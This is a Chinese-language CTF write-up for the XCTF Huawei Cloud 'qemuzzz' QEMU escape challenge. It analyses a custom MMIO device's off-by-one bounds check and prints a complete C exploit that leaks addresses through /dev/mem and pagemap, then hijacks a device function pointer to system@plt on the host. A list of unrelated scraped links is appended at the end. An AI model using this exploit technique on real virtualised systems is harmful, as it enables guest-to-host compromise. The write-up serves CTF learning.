XCTF 华为云专场 qemuzzz
绿
#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios
启动脚本
看起来设备叫zzz
去ida分析分析
相关函数
可以看到那两个id
申请了一块mmio
object对象里面放上了一个对象的基地址以及一个函数指针
但是问题来了
我们在本地类型中找不到zzz的结构体
所以我们需要自己分析这个结构体
那么首先我们就知道结构体的
0x19F0 0x19F8的地方是啥了
剩下的我们去他的两个mmio函数中去分析
zzz_mmio_read比较简单
读结构体里面的一块buf
而且我们能看得出来
buf在结构体的0x9F0的位置
且大小是0x1000
zzz_mmio_write
功能
0x10 对偏移是0x9EA的地方设值
0x18 对偏移是0x9E8的地方设值
0x20 对偏移是0x9E0的地方设值 且是val<<12
0x50 上面图中的v9是偏移,v10是长度 我们可以看的出来功能就是对buf中的内容进行异或。通过v9 v10来控制异或的地方和长度
0x60 v3就是结构体基地址。后续调用了偏移0x19F8处的函数,我们先研究一下函数是干嘛的。
根据刚开始传入的v4 也就是0/1来判断走的是哪个函数
不同函数当然是不同用途当然看名字就看得出来一个读一个写
这个函数还是比较常见的,cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
所以0x60就是来对偏移0x9E0的buf指针指向的buf进行读写。
就写在下面偏移0x9F0的buf中。
漏洞在哪?
在0x60的功能中,有一个检查,(signed int)(offset + len – 1) <= 0x1000,因为buf只有0x1000的长度,而这里可以写到第0x1001的地方,就是能改变后一个字节。
后一个地址放着的是这个结构体的地址,我们如果能改变它,就可以把整个结构体劫持到可控的第二个buf中,然后劫持结构体。
那么我们总体的思路是啥
1、溢出一个字节,把结构体整体下移,泄露出结构体地址与程序及地址
2、因为泄露完之后我们后续的功能不能再控制我们的len跟offset,所以只能通过那个加密函数,也就是异或,来控制len offset
3、异或好以后再控制进行读写,劫持函数为system_plt,顺便再次对结构体进行合适的调整
4、最后getshell
要注意的是我们设置那个src的时候它最多设置四个字节,具体为啥我也不知,所以做出一些合适的调整就好了。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;unsigned char* mmio_mem;void die(const char* msg)
{perror(msg);exit(-1);
}void* mem_map( const char* dev, size_t offset, size_t size )
{int fd = open( dev, O_RDWR | O_SYNC );if ( fd == -1 ) {return 0;}void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );if ( !result ) {return 0;}close( fd );return result;
}uint8_t mmio_read(uint64_t addr)
{return *((uint8_t*) (mmio_mem+addr));
}void mmio_write(uint64_t addr, uint64_t value)
{*( (uint64_t *) (mmio_mem+addr) ) = value;
}//
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)uint32_t page_offset(uint32_t addr)
{return addr & ((1 << PAGE_SHIFT) - 1);
}uint64_t gva_to_gfn(void *addr)
{uint64_t pme, gfn;size_t offset;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) {die("open pagemap");}offset = ((uintptr_t)addr >> 9) & ~7;lseek(fd, offset, SEEK_SET);read(fd, &pme, 8);if (!(pme & PFN_PRESENT))return -1;gfn = pme & PFN_PFN;return gfn;
}uint64_t gva_to_gpa(void *addr)
{uint64_t gfn = gva_to_gfn(addr);assert(gfn != -1);return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/void set_src(uint64_t addr){mmio_write(0x20, addr);
}void set_len(uint64_t num){mmio_write(0x18, num);
}void set_off(uint64_t offset){mmio_write(0x10, offset);
}void set_write(uint64_t offset, uint64_t num){set_src(phy_userbuf>>12);set_len(num);set_off(offset);mmio_write(0x60, 0x0);
}void set_enc(uint64_t offset, uint64_t num){set_off(offset);set_len(num);mmio_write(0x50, 0x0);sleep(1);
} int main(int argc, char *argv[])
{system( "mknod -m 660 /dev/mem c 1 1" );mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );if ( !mmio_mem ) {die("mmap mmio failed");}userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);if (userbuf == MAP_FAILED) {die("mmap userbuf failed");}mlock(userbuf, 0x1000);phy_userbuf = gva_to_gpa(userbuf);printf("userbuf va: 0x%llx\n", userbuf);printf("userbuf pa: 0x%llx\n", phy_userbuf);//char *payload="cat /root/flag\x00";char *payload = "gnome-terminal";memcpy(userbuf + 0x1d0, payload, strlen(payload));*(uint64_t*)(userbuf+0x00) = phy_userbuf;*(uint16_t*)(userbuf+0x08)=0xf;*(uint16_t*)(userbuf+0x0a)=0x1000 - 0x10; set_write(0x00, 0x200);*(uint8_t *)userbuf = 0x00;*(uint8_t *)(userbuf + 1) = 0x50;set_write(0xfff, 0x2);mmio_write(0x60,0);uint64_t rw_addr = *(uint64_t *)userbuf;uint64_t base_addr = *(uint64_t *)(userbuf+8) - 0x5bc5c0;uint64_t system_plt = base_addr + 0x2a7a80;uint64_t payload_addr = rw_addr + 0xbb0;printf("rw_addr: 0x%llx\n", rw_addr);printf("base_addr: 0x%llx\n", base_addr);printf("system_plt: 0x%llx\n", system_plt);printf("payload_addr: 0x%llx\n", payload_addr);set_enc(0x00, 0x16);set_enc(0x00, 0x10);*(uint64_t *)(userbuf + 0x7 + 0x100) = payload_addr;*(uint64_t *)(userbuf + 0x7 + 0x1f0) = payload_addr - 0x9e0 + 0xd40;*(uint64_t *)(userbuf + 0x8 + 0x7 + 0x1f0) = system_plt;mmio_write(0x60,0);//getchar();mmio_write(0x60,0);return 0;
}
PS:要特别说点调试方法
我们在这道题目里面需要申请一个userbuf,让他来跟我们的buf做读写。
在我们调试的时候,想看看申请的userbuf,拿到那个phy_userbuf
做调试
首先看一下启动脚本
它是指定RAM大小
64M是0x4000000
我们得到的phy_userbuf是对这个块的偏移
所以我们据这个大小来找到它。
于是我们就找到了它
然后还可以搜一下
中间因为点原因重起了一下,地址不大一样,但是效果是一样的
那个heap那个一看就是
也可以找到他
另外那个应该是opacode那个结构体。
因为有符号表,下断点可以直接
XCTF 华为云专场 qemuzzz相关推荐
- 一文带你读懂!华为云在ACMUG技术沙龙上都透露了些啥?
摘要:近日,华为云数据库业务总裁苏光牛在ACMUG中国MySQL用户组主办的 "华为云专场" 技术沙龙中分享了华为云数据库重磅新品GaussDB的核心能力与竞争优势.那么, Gau ...
- 华为云数据库亮相下一代数据技术发展论坛,助力“数字一带一路”
2019年11月15日,在河南省教育厅的指导下,由中国计算机行业协会与河南省大中专学生就业服务中心联合举办的"下一代数据技术发展论坛暨IT名企专场招聘会"在郑州隆重举行.华为云数位 ...
- 华为云桌面客户端_入冬第一场技术盛宴!DevRun开发者沙龙华为云武汉专场举办...
做开发有多难?大部分做过开发的人会说:「难,有时候难上加难.」 因为一个开发者会在职业生涯中遇到各种各样的挑战.比如快速迭代的专业知识,要求开发者保持终身学习.快速学习的习惯:还需要开发者持续开拓新的 ...
- 华为云域名注册_华为云域名专场钜惠,助推中小企业云速建站
域名不仅是一个简单的网址,更是企业在市场竞争中获得持久优势的有力工具.所以对于中小企业而言,拥有一个优质的域名对企业发展而言是很重要的. 为了帮助中小企业轻松注册域名,快速搭建好网站,让用户在最短的时 ...
- 云速建站_华为云域名专场钜惠,助推中小企业云速建站
域名不仅是一个简单的网址,更是企业在市场竞争中获得持久优势的有力工具.所以对于中小企业而言,拥有一个优质的域名对企业发展而言是很重要的.为了帮助中小企业轻松注册域名,快速搭建好网站,让用户在最短的时间 ...
- 【重磅资料】ArchSummit全球架构师峰会·2019华为云技术专场资料下载
ArchSummit全球架构师峰会是InfoQ中国团队推出的重点面向高端技术管理者.架构师的技术会议,54%参会者拥有8年以上工作经验.ArchSummit聚焦业界强大的技术成果,秉承"实践 ...
- 华为云快成长直播间大数据AI专场,加速经济物联网智能化提升
万物智联的经济物联网环境,传统经济场景单一化.管理不集中.用户画像不精准等问题,促进了经济智能化提升,企业也需要更稳定.更安全的大数据平台作为经济提升的产品驱动力. 9月8日,华为云快成长直播间大数据 ...
- 华为云快成长直播间云会议专场,高效办公神器
千行百业数字化转型的趋势下,企业线上办公.视频会议的需求逐渐增多,企业需要一个高效智慧的云会议平台,为实现数字化办公降本增效. 9月5日,在华为云快成长直播间的云会议专场,华为云会议产品经理宁哥向大家 ...
- 华为云WeLink助力“智能制造转型计划”—坂田街道专场!
龙岗区工业互联网资助政策宣讲会-坂田街道专场 2020年8月26日(星期三),由龙岗区工业和信息化局牵头,携手华为云龙岗工业互联网创新中心.龙岗区移动通信与工业互联网行业协会在龙岗区坂田街道办事处举办 ...
最新文章
- ant 接口返回文件流,前端自动下载实现
- get request uni 参数_Python+request+unittest实现接口测试框架集成实例
- easy connect 获取服务端配置信息失败_安装配置mysql
- XML入门经典(第五版)
- docker php gd png.h,docker php 容器安装GD库
- 二分法查找 - python实现
- 端口抢占处理杀死线程端口
- 开启本地git权限_Git入门使用和常见操作
- gunicorn的用法
- Android开发初体验——创建一个简单的APP
- HDU4609 3-idiots fft
- 自学python教程免费python教程视频
- 〔首届CSDN.南京区程序员聚会〕正式报名情况[每日更新7月19日 17:30]
- (4.3)进程管理之线程
- perl和python各自擅长的领域
- 【BZOJ 2330】 [SCOI2011]糖果【差分约束】
- 新版CorelDRAW Technical Suite2022最新详细功能介绍
- windows设置显示隐藏文件
- Vs2017+opencv调用大恒图像相机,实现读存操作
- MyEclipse 7.5 下载(纳米盘原始下载路径)
热门文章
- IDEA中写代码间距变大报红,报错Cannot resolve symbol
- 电磁攻击方法与能量攻击方法的对比
- 嵌入式Linux是学驱动还是应用,嵌入式LINUX应该学什么?做驱动还是做应用
- 精尽 Netty 原理与源码专栏( 已经完成 61+ 篇,预计总共 70+ 篇 )
- Qt编写守护程序保证程序一直运行(开源)
- oracle sqlplus建用户,Oracle用SQL Plus创建数据库表空间和用户
- 在线 - 支持word上传的富文本编辑器
- java公交IC乘车卡管理系统
- O32 对接 交易所报盘软件_沈阳企业“新”社保报盘软件(下载地址)!
- Unirech:阿里云国际版账户无法登陆,为什么账户会被风控?